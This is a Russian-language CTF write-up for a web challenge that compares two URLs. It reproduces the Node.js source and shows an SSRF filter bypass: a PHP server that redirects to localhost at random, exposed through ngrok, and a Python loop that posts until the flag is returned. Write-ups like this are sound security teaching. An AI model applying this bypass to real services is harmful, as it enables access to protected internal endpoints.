---
# System prepended metadata

title: Difference Check
tags: ['websec, lab', ctf, cookiearena, wargame]

---

Ссылка:https://battle.cookiearena.org/challenges/web/difference-check 
***
# Анализирование
Сначала мы просмотрим функцию веб-сайта, функция этого веб-сайта состоит в сравнении содержимого двух веб-сайтов. 
![](https://hackmd.io/_uploads/Hyw9TIS33.png)
![](https://hackmd.io/_uploads/Syss6IHh2.png)
Мы еще не знаем, какая уязвимость возникает на веб-сайте, но у нас есть код этого веб-сайта.
***
# Эксплуатация
Вот этот код этого веб-сайта, мы будем анализировать этот код, чтобы эксплуатировать веб-сайт.
```python!
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ssrfFilter = require('ssrf-req-filter');
const fetch = require('node-fetch');
const Diff = require('diff');
const hbs = require('express-handlebars');
const port = 1337;
const flag = 'idek{REDACTED}';


app.use(bodyParser.urlencoded({ extended: true }));
app.engine('hbs', hbs.engine({
    defaultLayout: 'main',
    extname: '.hbs'
}));

app.set('view engine', 'hbs');


async function validifyURL(url){
	valid = await fetch(url, {agent: ssrfFilter(url)})
	.then((response) => {
		return true
	})
	.catch(error => {
		return false
	});
	return valid;
};

async function diffURLs(urls){
	try{
		const pageOne = await fetch(urls[0]).then((r => {return r.text()}));
		const pageTwo = await fetch(urls[1]).then((r => {return r.text()}));
		return Diff.diffLines(pageOne, pageTwo)
	} catch {
		return 'error!'
	}
};

app.get('/', (req, res) => {
	res.render('index');
});

app.get('/flag', (req, res) => {
	if(req.connection.remoteAddress == '::1'){
		res.send(flag)}
	else{
		res.send("Forbidden", 503)}
});

app.post('/diff', async (req, res) => {
	let { url1, url2 } = req.body
	if(typeof url1 !== 'string' || typeof url2 !== 'string'){
		return res.send({error: 'Invalid format received'})
	};
	let urls = [url1, url2];
	for(url of urls){
		const valid = await validifyURL(url);
		if(!valid){
			return res.send({error: `Request to ${url} was denied`});
		};
	};
	const difference = await diffURLs(urls);
	res.render('diff', {
		lines: difference
	});

});

app.listen(port, () => {
	console.log(`App listening at http://localhost:${port}`)
});
```
Это endpoint `/flag` для получение флага, но необходимо обойти аутентификацию `localhost`  и порт `1337`. Я уверен, что это уязвимость SSRF.

```py!
app.get('/flag', (req, res) => {
	if(req.connection.remoteAddress == '::1'){
		res.send(flag)}
	else{
		res.send("Forbidden", 503)}
});
```
Нужно обратить внимание на функцию `validifyURL()`. Эта функция защищает от уязвимости SSRF. Если переменная `valid` имеет значение через метод `fetch`, то вернуть `true` иначе `false`.
```py!
async function validifyURL(url){
	valid = await fetch(url, {agent: ssrfFilter(url)})
	.then((response) => {
		return true
	})
	.catch(error => {
		return false
	});
	return valid;
};
```
Эта функция `diffURLs()` просто извлекает содержамое веб-сайтов с помощью метода `fetch`.
```python!
async function diffURLs(urls){
	try{
		const pageOne = await fetch(urls[0]).then((r => {return r.text()}));
		const pageTwo = await fetch(urls[1]).then((r => {return r.text()}));
		return Diff.diffLines(pageOne, pageTwo)
	} catch {
		return 'error!'
	}
};
```

Это путь  `/diff` , на этом пути проверяется, являются ли `url1` и `url2` `string` или нет, то вернуть `Invalid format received`. Затем использовать функцию validifyURL() чтобы проверить вводимые пользователем и наконец использует функцию `diffURLs()`, чтобы извлечь содержимое двух веб-сайтов.
```python!
app.post('/diff', async (req, res) => {
	let { url1, url2 } = req.body
	if(typeof url1 !== 'string' || typeof url2 !== 'string'){
		return res.send({error: 'Invalid format received'})
	};
	let urls = [url1, url2];
	for(url of urls){
		const valid = await validifyURL(url);
		if(!valid){
			return res.send({error: `Request to ${url} was denied`});
		};
	};
	const difference = await diffURLs(urls);
	res.render('diff', {
		lines: difference
	});

});
```
У нас есть несколько основных пунктов для эксплуатации уязвимости:
- Нельзя обойти аутентификацию `localhost` в функции `validifyURL()`.
- Будет 2 `fetch` для каждого `url`.
- Необходим доступ к пути `/flag` для получение флага.

Из основных пунктов выше:
- Нужно создать веб-сервер, который каждый "fetch" из двух функций `validifyURL()` и `diffURLs()` может получить доступ к `http://localhost:1337/flag`.
- Обязательно получит флаг через уязвимости SSRF

Вот код веб-сервера написанный на языке PHP  `php -S 0.0.0.0:1338`:
```php!
<?php
$tmp = rand(0,1);
if ($tmp == 1) {
    header("Location: http://localhost:1337/flag");
}
```
![](https://hackmd.io/_uploads/S1TjWKjnh.png)

- Нужно обратить внимание на код, что когда url веб-сервера проходит через функцию `validifyURL()`, может переменная `$tmp=0`, тогда может обойти функцию  `validifyURL()`. Затем он проходит через функцию `diffURLs()`, переменная `$tmp=1` и тогда может доступ к `http://localhost:1337/flag`.
- Мы используем инструмент ngrok для создания подключения веб-сервера из local в интернет: `ngrok http 1338`
![](https://hackmd.io/_uploads/ByaJMKih3.png)

**Далее, мы создаем следующий инструмент:**
```python!
import requests

url = "http://103.97.125.53:32344/diff"

data = {
    "url1": "https://24bd-95-220-60-83.ngrok-free.app",
    "url2": "http://google.com"
}

# Отправить запров 10 раз
for _ in range(10):
    res = requests.post(url, data=data)
    flag = res.text
    if "CHH{" in flag:
        start = flag.index("CHH{")
        end = flag.index("}",start) + 1
        print(flag[start:end])
        break
    else:
        print(f"Request {_}:Nothing\n")
```
Вот мы отправим два url на сайт, затем отфильтруем флаг с начальным индексом и конечным индексом.
![](https://hackmd.io/_uploads/rkPNGFj23.png)

***
# Заключение
Спасибо за прочтение и увидимся в следующем посте. Пока!